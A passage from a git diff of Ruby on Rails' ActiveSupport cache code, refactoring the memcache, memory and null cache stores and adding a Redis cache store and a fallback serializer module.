       end
 
       private
         # Read an entry from the cache.
-        def read_entry(key, options)
-          rescue_error_with(nil) { deserialize_entry(@data.get(key, options)) }
+        def read_entry(key, **options)
+          deserialize_entry(read_serialized_entry(key, **options), **options)
+        end
+
+        def read_serialized_entry(key, **options)
+          rescue_error_with(nil) do
+            @data.with { |c| c.get(key, options) }
+          end
         end
 
         # Write an entry to the cache.
-        def write_entry(key, entry, options)
-          method = options && options[:unless_exist] ? :add : :set
-          value = options[:raw] ? entry.value.to_s : entry
+        def write_entry(key, entry, **options)
+          write_serialized_entry(key, serialize_entry(entry, **options), **options)
+        end
+
+        def write_serialized_entry(key, payload, **options)
+          method = options[:unless_exist] ? :add : :set
           expires_in = options[:expires_in].to_i
-          if expires_in > 0 && !options[:raw]
+          if options[:race_condition_ttl] && expires_in > 0 && !options[:raw]
             # Set the memcache expire a few minutes in the future to support race condition ttls on read
             expires_in += 5.minutes
           end
-          rescue_error_with false do
-            @data.send(method, key, value, expires_in, options)
+          rescue_error_with nil do
+            # Don't pass compress option to Dalli since we are already dealing with compression.
+            options.delete(:compress)
+            @data.with { |c| !!c.send(method, key, payload, expires_in, **options) }
+          end
+        end
+
+        # Reads multiple entries from the cache implementation.
+        def read_multi_entries(names, **options)
+          keys_to_names = names.index_by { |name| normalize_key(name, options) }
+
+          rescue_error_with({}) do
+            raw_values = @data.with { |c| c.get_multi(keys_to_names.keys) }
+
+            values = {}
+
+            raw_values.each do |key, value|
+              entry = deserialize_entry(value, raw: options[:raw])
+
+              unless entry.nil? || entry.expired? || entry.mismatched?(normalize_version(keys_to_names[key], options))
+                begin
+                  values[keys_to_names[key]] = entry.value
+                rescue DeserializationError
+                end
+              end
+            end
+
+            values
           end
         end
 
         # Delete an entry from the cache.
-        def delete_entry(key, options)
-          rescue_error_with(false) { @data.delete(key) }
+        def delete_entry(key, **options)
+          rescue_error_with(false) { @data.with { |c| c.delete(key) } }
+        end
+
+        def serialize_entry(entry, raw: false, **options)
+          if raw
+            entry.value.to_s
+          else
+            super(entry, raw: raw, **options)
+          end
         end
 
         # Memcache keys are binaries. So we need to force their encoding to binary
         # before applying the regular expression to ensure we are escaping all
         # characters properly.
         def normalize_key(key, options)
-          key = super.dup
-          key = key.force_encoding(Encoding::ASCII_8BIT)
-          key = key.gsub(ESCAPE_KEY_CHARS) { |match| "%#{match.getbyte(0).to_s(16).upcase}" }
-          key = "#{key[0, 213]}:md5:#{Digest::MD5.hexdigest(key)}" if key.size > 250
-          key
+          key = expand_and_namespace_key(key, options)
+          if key
+            key = key.dup.force_encoding(Encoding::ASCII_8BIT)
+            key = key.gsub(ESCAPE_KEY_CHARS) { |match| "%#{match.getbyte(0).to_s(16).upcase}" }
+          end
+          truncate_key(key)
         end
 
-        def deserialize_entry(raw_value)
-          if raw_value
-            entry = Marshal.load(raw_value) rescue raw_value
-            entry.is_a?(Entry) ? entry : Entry.new(entry)
+        def deserialize_entry(payload, raw: false, **)
+          if payload && raw
+            Entry.new(payload)
+          else
+            super(payload)
           end
         end
 
         def rescue_error_with(fallback)
           yield
-        rescue Dalli::DalliError => e
-          logger.error("DalliError (#{e}): #{e.message}") if logger
+        rescue Dalli::DalliError, ConnectionPool::Error, ConnectionPool::TimeoutError => error
+          logger.error("DalliError (#{error}): #{error.message}") if logger
+          ActiveSupport.error_reporter&.report(
+            error,
+            severity: :warning,
+            source: "mem_cache_store.active_support",
+          )
           fallback
         end
     end
diff --git a/activesupport/lib/active_support/cache/memory_store.rb b/activesupport/lib/active_support/cache/memory_store.rb
index fea072d91c98b..8d22856bc560a 100644
--- a/activesupport/lib/active_support/cache/memory_store.rb
+++ b/activesupport/lib/active_support/cache/memory_store.rb
@@ -1,26 +1,84 @@
+# frozen_string_literal: true
+
 require "monitor"
 
 module ActiveSupport
   module Cache
+    # = Memory \Cache \Store
+    #
     # A cache store implementation which stores everything into memory in the
-    # same process. If you're running multiple Ruby on Rails server processes
+    # same process. If you're running multiple Ruby on \Rails server processes
     # (which is the case if you're using Phusion Passenger or puma clustered mode),
-    # then this means that Rails server process instances won't be able
+    # then this means that \Rails server process instances won't be able
     # to share cache data with each other and this may not be the most
     # appropriate cache in that scenario.
     #
-    # This cache has a bounded size specified by the :size options to the
+    # This cache has a bounded size specified by the +:size+ options to the
     # initializer (default is 32Mb). When the cache exceeds the allotted size,
     # a cleanup will occur which tries to prune the cache down to three quarters
     # of the maximum size by removing the least recently used entries.
     #
-    # MemoryStore is thread-safe.
+    # Unlike other Cache store implementations, +MemoryStore+ does not compress
+    # values by default. +MemoryStore+ does not benefit from compression as much
+    # as other Store implementations, as it does not send data over a network.
+    # However, when compression is enabled, it still pays the full cost of
+    # compression in terms of cpu use.
+    #
+    # +MemoryStore+ is thread-safe.
     class MemoryStore < Store
+      prepend Strategy::LocalCache
+
+      module DupCoder # :nodoc:
+        extend self
+
+        def dump(entry)
+          if entry.value && entry.value != true && !entry.value.is_a?(Numeric)
+            Cache::Entry.new(dump_value(entry.value), expires_at: entry.expires_at, version: entry.version)
+          else
+            entry
+          end
+        end
+
+        def dump_compressed(entry, threshold)
+          compressed_entry = entry.compressed(threshold)
+          compressed_entry.compressed? ? compressed_entry : dump(entry)
+        end
+
+        def load(entry)
+          if !entry.compressed? && entry.value.is_a?(String)
+            Cache::Entry.new(load_value(entry.value), expires_at: entry.expires_at, version: entry.version)
+          else
+            entry
+          end
+        end
+
+        private
+          MARSHAL_SIGNATURE = "\x04\x08".b.freeze
+
+          def dump_value(value)
+            if value.is_a?(String) && !value.start_with?(MARSHAL_SIGNATURE)
+              value.dup
+            else
+              Marshal.dump(value)
+            end
+          end
+
+          def load_value(string)
+            if string.start_with?(MARSHAL_SIGNATURE)
+              Marshal.load(string)
+            else
+              string.dup
+            end
+          end
+      end
+
       def initialize(options = nil)
         options ||= {}
+        options[:coder] = DupCoder unless options.key?(:coder) || options.key?(:serializer)
+        # Disable compression by default.
+        options[:compress] ||= false
         super(options)
         @data = {}
-        @key_access = {}
         @max_size = options[:size] || 32.megabytes
         @max_prune_time = options[:max_prune_time] || 2
         @cache_size = 0
@@ -28,10 +86,15 @@ def initialize(options = nil)
         @pruning = false
       end
 
+      # Advertise cache versioning support.
+      def self.supports_cache_versioning?
+        true
+      end
+
+      # Delete all data stored in a given cache store.
       def clear(options = nil)
         synchronize do
           @data.clear
-          @key_access.clear
           @cache_size = 0
         end
       end
@@ -39,11 +102,11 @@ def clear(options = nil)
       # Preemptively iterates through all stored keys and removes the ones which have expired.
       def cleanup(options = nil)
         options = merged_options(options)
-        instrument(:cleanup, size: @data.size) do
+        _instrument(:cleanup, size: @data.size) do
           keys = synchronize { @data.keys }
           keys.each do |key|
             entry = @data[key]
-            delete_entry(key, options) if entry && entry.expired?
+            delete_entry(key, **options) if entry && entry.expired?
           end
         end
       end
@@ -54,13 +117,13 @@ def prune(target_size, max_time = nil)
         return if pruning?
         @pruning = true
         begin
-          start_time = Time.now
+          start_time = Process.clock_gettime(Process::CLOCK_MONOTONIC)
           cleanup
           instrument(:prune, target_size, from: @cache_size) do
-            keys = synchronize { @key_access.keys.sort { |a, b| @key_access[a].to_f <=> @key_access[b].to_f } }
+            keys = synchronize { @data.keys }
             keys.each do |key|
-              delete_entry(key, options)
-              return if @cache_size <= target_size || (max_time && Time.now - start_time > max_time)
+              delete_entry(key, **options)
+              return if @cache_size <= target_size || (max_time && Process.clock_gettime(Process::CLOCK_MONOTONIC) - start_time > max_time)
             end
           end
         ensure
@@ -73,29 +136,56 @@ def pruning?
         @pruning
       end
 
-      # Increment an integer value in the cache.
-      def increment(name, amount = 1, options = nil)
-        modify_value(name, amount, options)
+      # Increment a cached integer value. Returns the updated value.
+      #
+      # If the key is unset, it will be set to +amount+:
+      #
+      #   cache.increment("foo") # => 1
+      #   cache.increment("bar", 100) # => 100
+      #
+      # To set a specific value, call #write:
+      #
+      #   cache.write("baz", 5)
+      #   cache.increment("baz") # => 6
+      #
+      def increment(name, amount = 1, **options)
+        instrument(:increment, name, amount: amount) do
+          modify_value(name, amount, **options)
+        end
       end
 
-      # Decrement an integer value in the cache.
-      def decrement(name, amount = 1, options = nil)
-        modify_value(name, -amount, options)
+      # Decrement a cached integer value. Returns the updated value.
+      #
+      # If the key is unset or has expired, it will be set to +-amount+.
+      #
+      #   cache.decrement("foo") # => -1
+      #
+      # To set a specific value, call #write:
+      #
+      #   cache.write("baz", 5)
+      #   cache.decrement("baz") # => 4
+      #
+      def decrement(name, amount = 1, **options)
+        instrument(:decrement, name, amount: amount) do
+          modify_value(name, -amount, **options)
+        end
       end
 
+      # Deletes cache entries if the cache key matches a given pattern.
       def delete_matched(matcher, options = nil)
         options = merged_options(options)
+        matcher = key_matcher(matcher, options)
+
         instrument(:delete_matched, matcher.inspect) do
-          matcher = key_matcher(matcher, options)
           keys = synchronize { @data.keys }
           keys.each do |key|
-            delete_entry(key, options) if key.match(matcher)
+            delete_entry(key, **options) if key.match(matcher)
           end
         end
       end
 
       def inspect # :nodoc:
-        "<##{self.class.name} entries=#{@data.size}, size=#{@cache_size}, options=#{@options.inspect}>"
+        "#<#{self.class.name} entries=#{@data.size}, size=#{@cache_size}, options=#{@options.inspect}>"
       end
 
       # Synchronize calls to the cache. This should be called wherever the underlying cache implementation
@@ -105,57 +195,66 @@ def synchronize(&block) # :nodoc:
       end
 
       private
-
         PER_ENTRY_OVERHEAD = 240
 
-        def cached_size(key, entry)
-          key.to_s.bytesize + entry.size + PER_ENTRY_OVERHEAD
+        def cached_size(key, payload)
+          key.to_s.bytesize + payload.bytesize + PER_ENTRY_OVERHEAD
         end
 
-        def read_entry(key, options)
-          entry = @data[key]
+        def read_entry(key, **options)
+          entry = nil
           synchronize do
-            if entry
-              @key_access[key] = Time.now.to_f
-            else
-              @key_access.delete(key)
+            payload = @data.delete(key)
+            if payload
+              @data[key] = payload
+              entry = deserialize_entry(payload)
             end
           end
           entry
         end
 
-        def write_entry(key, entry, options)
-          entry.dup_value!
+        def write_entry(key, entry, **options)
+          payload = serialize_entry(entry, **options)
           synchronize do
-            old_entry = @data[key]
-            return false if @data.key?(key) && options[:unless_exist]
-            if old_entry
-              @cache_size -= (old_entry.size - entry.size)
+            return false if options[:unless_exist] && exist?(key, namespace: nil)
+
+            old_payload = @data[key]
+            if old_payload
+              @cache_size -= (old_payload.bytesize - payload.bytesize)
             else
-              @cache_size += cached_size(key, entry)
+              @cache_size += cached_size(key, payload)
             end
-            @key_access[key] = Time.now.to_f
-            @data[key] = entry
+            @data[key] = payload
             prune(@max_size * 0.75, @max_prune_time) if @cache_size > @max_size
             true
           end
         end
 
-        def delete_entry(key, options)
+        def delete_entry(key, **options)
           synchronize do
-            @key_access.delete(key)
-            entry = @data.delete(key)
-            @cache_size -= cached_size(key, entry) if entry
-            !!entry
+            payload = @data.delete(key)
+            @cache_size -= cached_size(key, payload) if payload
+            !!payload
           end
         end
 
-        def modify_value(name, amount, options)
+        # Modifies the amount of an integer value that is stored in the cache.
+        # If the key is not found it is created and set to +amount+.
+        def modify_value(name, amount, **options)
+          options = merged_options(options)
+          key     = normalize_key(name, options)
+          version = normalize_version(name, options)
+
           synchronize do
-            options = merged_options(options)
-            if num = read(name, options)
-              num = num.to_i + amount
-              write(name, num, options)
+            entry = read_entry(key, **options)
+
+            if !entry || entry.expired? || entry.mismatched?(version)
+              write(name, Integer(amount), options)
+              amount
+            else
+              num = entry.value.to_i + amount
+              entry = Entry.new(num, expires_at: entry.expires_at, version: entry.version)
+              write_entry(key, entry)
               num
             end
           end
diff --git a/activesupport/lib/active_support/cache/null_store.rb b/activesupport/lib/active_support/cache/null_store.rb
index 550659fc56130..7479a264adf20 100644
--- a/activesupport/lib/active_support/cache/null_store.rb
+++ b/activesupport/lib/active_support/cache/null_store.rb
@@ -1,5 +1,9 @@
+# frozen_string_literal: true
+
 module ActiveSupport
   module Cache
+    # = Null \Cache \Store
+    #
     # A cache store implementation which doesn't actually store anything. Useful in
     # development and test environments where you don't want caching turned on but
     # need to go through the caching interface.
@@ -10,30 +14,47 @@ module Cache
     class NullStore < Store
       prepend Strategy::LocalCache
 
+      # Advertise cache versioning support.
+      def self.supports_cache_versioning?
+        true
+      end
+
       def clear(options = nil)
       end
 
       def cleanup(options = nil)
       end
 
-      def increment(name, amount = 1, options = nil)
+      def increment(name, amount = 1, **options)
       end
 
-      def decrement(name, amount = 1, options = nil)
+      def decrement(name, amount = 1, **options)
       end
 
       def delete_matched(matcher, options = nil)
       end
 
+      def inspect # :nodoc:
+        "#<#{self.class.name} options=#{@options.inspect}>"
+      end
+
       private
-        def read_entry(key, options)
+        def read_entry(key, **s)
+          deserialize_entry(read_serialized_entry(key))
+        end
+
+        def read_serialized_entry(_key, **)
+        end
+
+        def write_entry(key, entry, **)
+          write_serialized_entry(key, serialize_entry(entry))
         end
 
-        def write_entry(key, entry, options)
+        def write_serialized_entry(_key, _payload, **)
           true
         end
 
-        def delete_entry(key, options)
+        def delete_entry(key, **options)
           false
         end
     end
diff --git a/activesupport/lib/active_support/cache/redis_cache_store.rb b/activesupport/lib/active_support/cache/redis_cache_store.rb
new file mode 100644
index 0000000000000..fdfb2a68e337f
--- /dev/null
+++ b/activesupport/lib/active_support/cache/redis_cache_store.rb
@@ -0,0 +1,498 @@
+# frozen_string_literal: true
+
+begin
+  gem "redis", ">= 4.0.1"
+  require "redis"
+  require "redis/distributed"
+rescue LoadError
+  warn "The Redis cache store requires the redis gem, version 4.0.1 or later. Please add it to your Gemfile: `gem \"redis\", \">= 4.0.1\"`"
+  raise
+end
+
+require "connection_pool"
+require "active_support/core_ext/array/wrap"
+require "active_support/core_ext/hash/slice"
+require "active_support/core_ext/numeric/time"
+require "active_support/digest"
+
+module ActiveSupport
+  module Cache
+    # = Redis \Cache \Store
+    #
+    # Deployment note: Take care to use a <b>dedicated Redis cache</b> rather
+    # than pointing this at a persistent Redis server (for example, one used as
+    # an Active Job queue). Redis won't cope well with mixed usage patterns and it
+    # won't expire cache entries by default.
+    #
+    # Redis cache server setup guide: https://redis.io/topics/lru-cache
+    #
+    # * Supports vanilla Redis, hiredis, and +Redis::Distributed+.
+    # * Supports Memcached-like sharding across Redises with +Redis::Distributed+.
+    # * Fault tolerant. If the Redis server is unavailable, no exceptions are
+    #   raised. Cache fetches are all misses and writes are dropped.
+    # * Local cache. Hot in-memory primary cache within block/middleware scope.
+    # * +read_multi+ and +write_multi+ support for Redis mget/mset. Use
+    #   +Redis::Distributed+ 4.0.1+ for distributed mget support.
+    # * +delete_matched+ support for Redis KEYS globs.
+    class RedisCacheStore < Store
+      DEFAULT_REDIS_OPTIONS = {
+        connect_timeout:    1,
+        read_timeout:       1,
+        write_timeout:      1,
+      }
+
+      DEFAULT_ERROR_HANDLER = -> (method:, returning:, exception:) do
+        if logger
+          logger.error { "RedisCacheStore: #{method} failed, returned #{returning.inspect}: #{exception.class}: #{exception.message}" }
+        end
+        ActiveSupport.error_reporter&.report(
+          exception,
+          severity: :warning,
+          source: "redis_cache_store.active_support",
+        )
+      end
+
+      # The maximum number of entries to receive per SCAN call.
+      SCAN_BATCH_SIZE = 1000
+      private_constant :SCAN_BATCH_SIZE
+
+      # Advertise cache versioning support.
+      def self.supports_cache_versioning?
+        true
+      end
+
+      prepend Strategy::LocalCache
+
+      class << self
+        # Factory method to create a new Redis instance.
+        #
+        # Handles four options: :redis block, :redis instance, single :url
+        # string, and multiple :url strings.
+        #
+        #   Option  Class       Result
+        #   :redis  Proc    ->  options[:redis].call
+        #   :redis  Object  ->  options[:redis]
+        #   :url    String  ->  Redis.new(url: …)
+        #   :url    Array   ->  Redis::Distributed.new([{ url: … }, { url: … }, …])
+        #
+        def build_redis(redis: nil, url: nil, **redis_options) # :nodoc:
+          urls = Array(url)
+
+          if redis.is_a?(Proc)
+            redis.call
+          elsif redis
+            redis
+          elsif urls.size > 1
+            build_redis_distributed_client(urls: urls, **redis_options)
+          elsif urls.empty?
+            build_redis_client(**redis_options)
+          else
+            build_redis_client(url: urls.first, **redis_options)
+          end
+        end
+
+        private
+          def build_redis_distributed_client(urls:, **redis_options)
+            ::Redis::Distributed.new([], DEFAULT_REDIS_OPTIONS.merge(redis_options)).tap do |dist|
+              urls.each { |u| dist.add_node url: u }
+            end
+          end
+
+          def build_redis_client(**redis_options)
+            ::Redis.new(DEFAULT_REDIS_OPTIONS.merge(redis_options))
+          end
+      end
+
+      attr_reader :redis
+
+      # Creates a new Redis cache store.
+      #
+      # There are a few ways to provide the Redis client used by the cache:
+      #
+      # 1. The +:redis+ param can be:
+      #    - A Redis instance.
+      #    - A +ConnectionPool+ instance wrapping a Redis instance.
+      #    - A block that returns a Redis instance.
+      #
+      # 2. The +:url+ param can be:
+      #    - A string used to create a Redis instance.
+      #    - An array of strings used to create a +Redis::Distributed+ instance.
+      #
+      # If the final Redis instance is not already a +ConnectionPool+, it will
+      # be wrapped in one using +ActiveSupport::Cache::Store::DEFAULT_POOL_OPTIONS+.
+      # These options can be overridden with the +:pool+ param, or the pool can be
+      # disabled with +:pool: false+.
+      #
+      #   Option  Class       Result
+      #   :redis  Object  ->  options[:redis]
+      #   :redis  Proc    ->  options[:redis].call
+      #   :url    String  ->  Redis.new(url: …)
+      #   :url    Array   ->  Redis::Distributed.new([{ url: … }, { url: … }, …])
+      #
+      # No namespace is set by default. Provide one if the Redis cache
+      # server is shared with other apps: <tt>namespace: 'myapp-cache'</tt>.
+      #
+      # Compression is enabled by default with a 1kB threshold, so cached
+      # values larger than 1kB are automatically compressed. Disable by
+      # passing <tt>compress: false</tt> or change the threshold by passing
+      # <tt>compress_threshold: 4.kilobytes</tt>.
+      #
+      # No expiry is set on cache entries by default. Redis is expected to
+      # be configured with an eviction policy that automatically deletes
+      # least-recently or -frequently used keys when it reaches max memory.
+      # See https://redis.io/topics/lru-cache for cache server setup.
+      #
+      # Race condition TTL is not set by default. This can be used to avoid
+      # "thundering herd" cache writes when hot cache entries are expired.
+      # See ActiveSupport::Cache::Store#fetch for more.
+      #
+      # Setting <tt>skip_nil: true</tt> will not cache nil results:
+      #
+      #   cache.fetch('foo') { nil }
+      #   cache.fetch('bar', skip_nil: true) { nil }
+      #   cache.exist?('foo') # => true
+      #   cache.exist?('bar') # => false
+      def initialize(error_handler: DEFAULT_ERROR_HANDLER, **redis_options)
+        universal_options = redis_options.extract!(*UNIVERSAL_OPTIONS)
+        redis = redis_options[:redis]
+
+        already_pool = redis.instance_of?(::ConnectionPool) ||
+                       (redis.respond_to?(:wrapped_pool) && redis.wrapped_pool.instance_of?(::ConnectionPool))
+
+        if !already_pool && pool_options = self.class.send(:retrieve_pool_options, redis_options)
+          @redis = ::ConnectionPool.new(**pool_options) { self.class.build_redis(**redis_options) }
+        else
+          @redis = self.class.build_redis(**redis_options)
+        end
+
+        @error_handler = error_handler
+
+        super(universal_options)
+      end
+
+      def inspect
+        "#<#{self.class} options=#{options.inspect} redis=#{redis.inspect}>"
+      end
+
+      # Cache Store API implementation.
+      #
+      # Read multiple values at once. Returns a hash of requested keys ->
+      # fetched values.
+      def read_multi(*names)
+        return {} if names.empty?
+
+        options = names.extract_options!
+        options = merged_options(options)
+        keys    = names.map { |name| normalize_key(name, options) }
+
+        instrument_multi(:read_multi, keys, options) do |payload|
+          read_multi_entries(names, **options).tap do |results|
+            payload[:hits] = results.keys.map { |name| normalize_key(name, options) }
+          end
+        end
+      end
+
+      # Cache Store API implementation.
+      #
+      # Supports Redis KEYS glob patterns:
+      #
+      #   h?llo matches hello, hallo and hxllo
+      #   h*llo matches hllo and heeeello
+      #   h[ae]llo matches hello and hallo, but not hillo
+      #   h[^e]llo matches hallo, hbllo, ... but not hello
+      #   h[a-b]llo matches hallo and hbllo
+      #
+      # Use \ to escape special characters if you want to match them verbatim.
+      #
+      # See https://redis.io/commands/KEYS for more.
+      #
+      # Failsafe: Raises errors.
+      def delete_matched(matcher, options = nil)
+        unless String === matcher
+          raise ArgumentError, "Only Redis glob strings are supported: #{matcher.inspect}"
+        end
+        pattern = namespace_key(matcher, options)
+
+        instrument :delete_matched, pattern do
+          redis.then do |c|
+            cursor = "0"
+            # Fetch keys in batches using SCAN to avoid blocking the Redis server.
+            nodes = c.respond_to?(:nodes) ? c.nodes : [c]
+
+            nodes.each do |node|
+              begin
+                cursor, keys = node.scan(cursor, match: pattern, count: SCAN_BATCH_SIZE)
+                node.unlink(*keys) unless keys.empty?
+              end until cursor == "0"
+            end
+          end
+        end
+      end
+
+      # Increment a cached integer value using the Redis incrby atomic operator.
+      # Returns the updated value.
+      #
+      # If the key is unset or has expired, it will be set to +amount+:
+      #
+      #   cache.increment("foo") # => 1
+      #   cache.increment("bar", 100) # => 100
+      #
+      # To set a specific value, call #write passing <tt>raw: true</tt>:
+      #
+      #   cache.write("baz", 5, raw: true)
+      #   cache.increment("baz") # => 6
+      #
+      # Incrementing a non-numeric value, or a value written without
+      # <tt>raw: true</tt>, will fail and return +nil+.
+      #
+      # To read the value later, call #read_counter:
+      #
+      #   cache.increment("baz") # => 7
+      #   cache.read_counter("baz") # 7
+      #
+      # Failsafe: Raises errors.
+      def increment(name, amount = 1, options = nil)
+        options = merged_options(options)
+        key = normalize_key(name, options)
+
+        instrument :increment, key, amount: amount do
+          failsafe :increment do
+            change_counter(key, amount, options)
+          end
+        end
+      end
+
+      # Decrement a cached integer value using the Redis decrby atomic operator.
+      # Returns the updated value.
+      #
+      # If the key is unset or has expired, it will be set to +-amount+:
+      #
+      #   cache.decrement("foo") # => -1
+      #
+      # To set a specific value, call #write passing <tt>raw: true</tt>:
+      #
+      #   cache.write("baz", 5, raw: true)
+      #   cache.decrement("baz") # => 4
+      #
+      # Decrementing a non-numeric value, or a value written without
+      # <tt>raw: true</tt>, will fail and return +nil+.
+      #
+      # To read the value later, call #read_counter:
+      #
+      #   cache.decrement("baz") # => 3
+      #   cache.read_counter("baz") # 3
+      #
+      # Failsafe: Raises errors.
+      def decrement(name, amount = 1, options = nil)
+        options = merged_options(options)
+        key = normalize_key(name, options)
+
+        instrument :decrement, key, amount: amount do
+          failsafe :decrement do
+            change_counter(key, -amount, options)
+          end
+        end
+      end
+
+      # Cache Store API implementation.
+      #
+      # Removes expired entries. Handled natively by Redis least-recently-/
+      # least-frequently-used expiry, so manual cleanup is not supported.
+      def cleanup(options = nil)
+        super
+      end
+
+      # Clear the entire cache on all Redis servers. Safe to use on
+      # shared servers if the cache is namespaced.
+      #
+      # Failsafe: Raises errors.
+      def clear(options = nil)
+        failsafe :clear do
+          if namespace = merged_options(options)[:namespace]
+            delete_matched "*", namespace: namespace
+          else
+            redis.then { |c| c.flushdb }
+          end
+        end
+      end
+
+      # Get info from redis servers.
+      def stats
+        redis.then { |c| c.info }
+      end
+
+      private
+        def pipeline_entries(entries, &block)
+          redis.then { |c|
+            if c.is_a?(Redis::Distributed)
+              entries.group_by { |k, _v| c.node_for(k) }.each do |node, sub_entries|
+                node.pipelined { |pipe| yield(pipe, sub_entries) }
+              end
+            else
+              c.pipelined { |pipe| yield(pipe, entries) }
+            end
+          }
+        end
+
+        # Store provider interface:
+        # Read an entry from the cache.
+        def read_entry(key, **options)
+          deserialize_entry(read_serialized_entry(key, **options), **options)
+        end
+
+        def read_serialized_entry(key, raw: false, **options)
+          failsafe :read_entry do
+            redis.then { |c| c.get(key) }
+          end
+        end
+
+        def read_multi_entries(names, **options)
+          options = merged_options(options)
+          return {} if names == []
+          raw = options&.fetch(:raw, false)
+
+          keys = names.map { |name| normalize_key(name, options) }
+
+          values = failsafe(:read_multi_entries, returning: {}) do
+            redis.then { |c| c.mget(*keys) }
+          end
+
+          names.zip(values).each_with_object({}) do |(name, value), results|
+            if value
+              entry = deserialize_entry(value, raw: raw)
+              unless entry.nil? || entry.expired? || entry.mismatched?(normalize_version(name, options))
+                begin
+                  results[name] = entry.value
+                rescue DeserializationError
+                end
+              end
+            end
+          end
+        end
+
+        # Write an entry to the cache.
+        #
+        # Requires Redis 2.6.12+ for extended SET options.
+        def write_entry(key, entry, raw: false, **options)
+          write_serialized_entry(key, serialize_entry(entry, raw: raw, **options), raw: raw, **options)
+        end
+
+        def write_serialized_entry(key, payload, raw: false, unless_exist: false, expires_in: nil, race_condition_ttl: nil, pipeline: nil, **options)
+          # If race condition TTL is in use, ensure that cache entries
+          # stick around a bit longer after they would have expired
+          # so we can purposefully serve stale entries.
+          if race_condition_ttl && expires_in && expires_in > 0 && !raw
+            expires_in += 5.minutes
+          end
+
+          modifiers = {}
+          if unless_exist || expires_in
+            modifiers[:nx] = unless_exist
+            modifiers[:px] = (1000 * expires_in.to_f).ceil if expires_in
+          end
+
+          if pipeline
+            pipeline.set(key, payload, **modifiers)
+          else
+            failsafe :write_entry, returning: nil do
+              redis.then { |c| !!c.set(key, payload, **modifiers) }
+            end
+          end
+        end
+
+        # Delete an entry from the cache.
+        def delete_entry(key, **options)
+          failsafe :delete_entry, returning: false do
+            redis.then { |c| c.unlink(key) == 1 }
+          end
+        end
+
+        # Deletes multiple entries in the cache. Returns the number of entries deleted.
+        def delete_multi_entries(entries, **_options)
+          return 0 if entries.empty?
+
+          failsafe :delete_multi_entries, returning: 0 do
+            redis.then { |c| c.unlink(*entries) }
+          end
+        end
+
+        # Nonstandard store provider API to write multiple values at once.
+        def write_multi_entries(entries, **options)
+          return if entries.empty?
+
+          failsafe :write_multi_entries do
+            pipeline_entries(entries) do |pipeline, sharded_entries|
+              options = options.dup
+              options[:pipeline] = pipeline
+              sharded_entries.each do |key, entry|
+                write_entry key, entry, **options
+              end
+            end
+          end
+        end
+
+        def deserialize_entry(payload, raw: false, **)
+          if raw && !payload.nil?
+            Entry.new(payload)
+          else
+            super(payload)
+          end
+        end
+
+        def serialize_entry(entry, raw: false, **options)
+          if raw
+            entry.value.to_s
+          else
+            super(entry, raw: raw, **options)
+          end
+        end
+
+        def serialize_entries(entries, **options)
+          entries.transform_values do |entry|
+            serialize_entry(entry, **options)
+          end
+        end
+
+        def change_counter(key, amount, options)
+          redis.then do |c|
+            c = c.node_for(key) if c.is_a?(Redis::Distributed)
+
+            expires_in = options[:expires_in]
+
+            if expires_in
+              if supports_expire_nx?
+                count, _ = c.pipelined do |pipeline|
+                  pipeline.incrby(key, amount)
+                  pipeline.call(:expire, key, expires_in.to_i, "NX")
+                end
+              else
+                count, ttl = c.pipelined do |pipeline|
+                  pipeline.incrby(key, amount)
+                  pipeline.ttl(key)
+                end
+                c.expire(key, expires_in.to_i) if ttl < 0
+              end
+            else
+              count = c.incrby(key, amount)
+            end
+
+            count
+          end
+        end
+
+        def supports_expire_nx?
+          return @supports_expire_nx if defined?(@supports_expire_nx)
+
+          redis_versions = redis.then { |c| Array.wrap(c.info("server")).pluck("redis_version") }
+          @supports_expire_nx = redis_versions.all? { |v| Gem::Version.new(v) >= Gem::Version.new("7.0.0") }
+        end
+
+        def failsafe(method, returning: nil)
+          yield
+        rescue ::Redis::BaseError, ConnectionPool::Error, ConnectionPool::TimeoutError => error
+          @error_handler&.call(method: method, exception: error, returning: returning)
+          returning
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/cache/serializer_with_fallback.rb b/activesupport/lib/active_support/cache/serializer_with_fallback.rb
new file mode 100644
index 0000000000000..99358490a8452
--- /dev/null
+++ b/activesupport/lib/active_support/cache/serializer_with_fallback.rb
@@ -0,0 +1,152 @@
+# frozen_string_literal: true
+
+require "zlib"
+require "active_support/core_ext/kernel/reporting"
+
+module ActiveSupport
+  module Cache
+    module SerializerWithFallback # :nodoc:
+      def self.[](format)
+        if format.to_s.include?("message_pack") && !defined?(ActiveSupport::MessagePack)
+          require "active_support/message_pack"
+        end
+
+        SERIALIZERS.fetch(format)
+      end
+
+      def load(dumped)
+        if dumped.is_a?(String)
+          case
+          when MessagePackWithFallback.dumped?(dumped)
+            MessagePackWithFallback._load(dumped)
+          when Marshal71WithFallback.dumped?(dumped)
+            Marshal71WithFallback._load(dumped)
+          when Marshal70WithFallback.dumped?(dumped)
+            Marshal70WithFallback._load(dumped)
+          else
+            Cache::Store.logger&.warn("Unrecognized payload prefix #{dumped.byteslice(0).inspect}; deserializing as nil")
+            nil
+          end
+        elsif PassthroughWithFallback.dumped?(dumped)
+          PassthroughWithFallback._load(dumped)
+        else
+          Cache::Store.logger&.warn("Unrecognized payload class #{dumped.class}; deserializing as nil")
+          nil
+        end
+      end
+
+      private
+        def marshal_load(payload)
+          Marshal.load(payload)
+        rescue ArgumentError => error
+          raise Cache::DeserializationError, error.message
+        end
+
+        module PassthroughWithFallback
+          include SerializerWithFallback
+          extend self
+
+          def dump(entry)
+            entry
+          end
+
+          def dump_compressed(entry, threshold)
+            entry.compressed(threshold)
+          end
+
+          def _load(entry)
+            entry
+          end
+
+          def dumped?(dumped)
+            dumped.is_a?(Cache::Entry)
+          end
+        end
+
+        module Marshal70WithFallback
+          include SerializerWithFallback
+          extend self
+
+          MARK_UNCOMPRESSED = "\x00".b.freeze
+          MARK_COMPRESSED   = "\x01".b.freeze
+
+          def dump(entry)
+            MARK_UNCOMPRESSED + Marshal.dump(entry.pack)
+          end
+
+          def dump_compressed(entry, threshold)
+            dumped = Marshal.dump(entry.pack)
+
+            if dumped.bytesize >= threshold
+              compressed = Zlib::Deflate.deflate(dumped)
+              return MARK_COMPRESSED + compressed if compressed.bytesize < dumped.bytesize
+            end
+
+            MARK_UNCOMPRESSED + dumped
+          end
+
+          def _load(marked)
+            dumped = marked.byteslice(1..-1)
+            dumped = Zlib::Inflate.inflate(dumped) if marked.start_with?(MARK_COMPRESSED)
+            Cache::Entry.unpack(marshal_load(dumped))
+          end
+
+          def dumped?(dumped)
+            dumped.start_with?(MARK_UNCOMPRESSED, MARK_COMPRESSED)
+          end
+        end
+
